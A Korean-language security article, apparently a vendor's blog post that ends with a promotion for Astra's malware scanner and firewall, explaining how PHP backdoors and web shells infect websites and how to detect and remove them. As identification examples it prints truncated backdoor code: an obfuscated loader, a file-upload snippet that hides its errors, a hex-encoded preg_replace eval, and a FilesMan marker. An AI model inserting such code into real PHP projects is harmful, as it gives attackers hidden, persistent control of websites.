Computer >> 컴퓨터 >  >> 네트워킹 >> 네트워크 보안

PHP 백도어란? 웹사이트 감염 원리부터 탐지·제거 방법까지

매일 10만 개가 넘는 웹사이트가 해킹되고 있습니다. 놀랍게도 한 번 침해된 웹사이트는 다시 해킹될 확률이 40%에 달하는 것으로 알려져 있는데, 그 핵심 이유는 해커들이 언제든 사이트에 재진입할 수 있도록 악성 코드, 즉 PHP 백도어(Backdoor)를 남겨두기 때문입니다. 이 악성 코드는 제거가 매우 까다로워 관리자 패널을 완전히 초기화해도 웹사이트 깊숙한 곳에 숨어 있습니다. 웹사이트로의 우회 접근 통로를 열어준다고 하여 '백도어'라는 이름이 붙었습니다.

오늘날 WordPress, Magento 등 수많은 인기 CMS가 서버 측 스크립팅 언어인 PHP 기반으로 운영되며, 전 세계 웹사이트의 80% 이상이 PHP를 사용하고 있습니다. 그만큼 PHP 백도어는 현재 가장 큰 해킹 위협 중 하나로 자리 잡았습니다.

PHP 백도어란 무엇인가?

PHP 백도어는 웹사이트에 은밀하게 침투하여 해커에게 인증 우회 경로를 제공하도록 설계된 악성 스크립트 또는 프로그램입니다. 백도어는 지속적인 접근 유지, 악성코드 삽입, 데이터 스크래핑, 카드 스키머 설치, 금융 정보 탈취 등 다양한 목적으로 활용될 수 있습니다.

PHP 웹셸(webshell)은 공격자가 PHP 서버의 관리 작업을 원격으로 수행할 수 있게 해줍니다. 공격자는 인터넷상의 URL만으로 관리자 패널에 접근할 수 있으며, 더 정교한 백도어는 코어 메모리에 직접 접근해 웹사이트 데이터까지 악용할 수 있습니다.

특히 PHP 백도어는 '지속성(persistence)'을 유지하도록 설계되어 있습니다. 웹사이트를 철저히 정화한 뒤에도 계속해서 다시 나타나기 때문에 근본적인 제거가 매우 어렵습니다.

PHP 백도어로 가능해지는 공격

PHP 백도어의 파괴력은 상상을 초월합니다. 웹사이트에서 간단한 명령을 실행하는 것부터 트래픽 탈취 및 리디렉션까지, 권한 상승과 그 이상의 공격이 모두 가능합니다. 해커는 PHP 백도어를 통해 다음과 같은 행위를 할 수 있습니다:

  • 서버에 저장된 모든 종류의 데이터에 접근
  • 피해자의 서버를 이용한 암호화폐 채굴
  • 공격자의 지시에 따라 대량의 스팸을 발송하는 봇(bot)으로 서버 전환

이 외에도 무수히 많은 악성 행위가 가능합니다!

웹사이트에서 PHP 백도어 탐지하기

모든 웹사이트 소유자가 전문적인 기술 지식을 갖추고 있는 것은 아닙니다. 사이트 소유자는 백도어나 인증되지 않은 코드가 존재한다는 사실을, 명백한 징후가 나타나기 전까지는 알아차리기 어려운 경우가 많습니다.

그렇기 때문에 많은 사이트 소유자가 Astra와 같은 보안 전문 업체의 도움을 받아 백도어를 추적하고 제거합니다. 이러한 악성 코드는 대부분 난독화(obfuscation) 처리되어 있어 식별 자체가 매우 복잡합니다.

또한 특정 웹사이트를 노린 백도어라고 해서 모두 동일한 형태를 하고 있지 않습니다. 하나를 발견했다고 안심해서는 안 되며, 오히려 더 깊이 파고들어야 한다는 신호입니다. PHP 백도어가 숨어들 수 있는 경로는 다양하지만, 감염을 허용하는 대표적인 보안 취약점은 다음과 같습니다:

  • 약하거나 기본값으로 설정된 비밀번호
  • 무분별한 PHP 파일 업로드 허용
  • 입력값 검증이 없는 취약한 PHP 코딩
  • 오래된 PHP 버전 사용
  • 부적절한 PHP 설정
  • 민감한 파일에 대한 취약한 파일 권한 설정
  • 부적절한 오류 보고 및 코드 노출

웹사이트에서 PHP 백도어 제거하기

백도어 제거의 첫걸음은 해당 악성코드의 위치를 파악하는 것입니다. 무단 접근을 가능하게 한 최초의 코드를 찾아 함께 제거해야 하므로, 사이트를 구동하는 코드에 대한 이해가 매우 중요합니다. 아래는 PHP 백도어의 원인이 될 수 있는 대표적인 파일과 코드 유형입니다.

불법 파일(Rogue File) 백도어

백도어가 불법 파일 형태로 발견되는 사례가 많습니다. 이러한 파일은 코어 플러그인, 테마, 콘텐츠 관리 시스템(CMS)의 일부가 아니지만, 기존 코어 파일과 비슷한 이름을 가지고 있어 쉽게 대체될 수 있습니다. 불법 파일의 코드는 다음과 같은 형태로 시작하는 경우가 많습니다.

$t43="l/T6\\:aAcNLn#?rP}1\rG_ -s`SZ\$58t\n7E{.*]ixy3h,COKR2dW[0!U\tuQIHf4bYm>wFz<admin@wsxdn.com&(BjX'~|ge%p+oMJv^);\"k9";$GLOBALS['ofmhl60'] = ${$t43[20].$t43

백도어가 포함된 플러그인과 테마

CMS의 종류와 무관하게 가장 많이 사용되는 기능 중 하나가 바로 플러그인과 테마입니다. 악성 플러그인 파일은 파일 관리자나 FTP를 통해서만 파일 시스템에서 확인할 수 있으며, 해커들은 널리 쓰이는 플러그인에 PHP 백도어를 심어 유포합니다. 흔히 사용되는 이름은 다음과 같습니다.

  • WordPress Support
  • Login Wall
  • WP Zipp
  • WP-Base-SEO

설치 당시에는 정상적으로 보였던 플러그인이 실제로는 백도어 코드를 담고 있을 수 있다는 의미입니다. 소유자는 이를 모른 채 백도어가 포함된 파일을 설치하게 됩니다. 실제로 WordPress Sketch 테마는 한때 인기를 끌었지만, 수많은 백도어 파일이 포함된 악성 테마였던 사례가 있습니다. 이런 위험을 피하는 유일한 안전한 방법은 출처를 알 수 없는 테마나 플러그인을 모두 삭제하는 것입니다.

코어 파일 백도어 삽입

웹사이트 호스팅 환경의 코어 파일에도 PHP 백도어가 삽입될 수 있습니다. 악성코드는 파일의 시작 부분이나 끝 부분에서 발견되곤 하지만, 해커가 데이터의 핵심을 파괴하려 한다면 코드 사이사이에 숨겨 심으려 할 것입니다.

대표적인 악성 코드 예시

파일 시작 부분에서 발견되는 코드 예시입니다:

@ini_set('display_errors','off');@ini_set('log_errors',0);@ini_set('error_log',NULL); error_reporting(0); @ini_set('set_time_limit',0);ignore_user_abort(true);if(@isset($_POST['size']) and @isset($_FILES['img']['name'])) {@ini_set('upload_max_filesize','1000000');$size=$_POST['size'];$open_image=$_FILES['img']['name']; $open_image_tmp=$_FILES['img']['tmp_name'];$image_tmp=$size.$open_image; @move_uploaded_file($open_image_tmp,$image_tmp);

일부 백도어는 고도로 난독화되어 다음과 같은 형태로 시작합니다.

preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\

또한 백도어 파일 내 어딘가에 FilesMan에 대한 참조가 포함된 경우도 흔합니다.

$default_action = "FilesMan";

함께 사이버 범죄에 맞서세요

Astra의 머신러닝 기반 자동화 악성코드 스캐너는 클릭 한 번으로 수많은 PHP 백도어와 악성코드를 탐지합니다. 아울러 Astra 방화벽은 24시간 연중무휴로 웹사이트를 모니터링하며 악성 트래픽과 각종 보안 위협을 차단합니다. 필요에 맞는 플랜을 선택하고 지금 바로 웹사이트 보안을 강화하세요!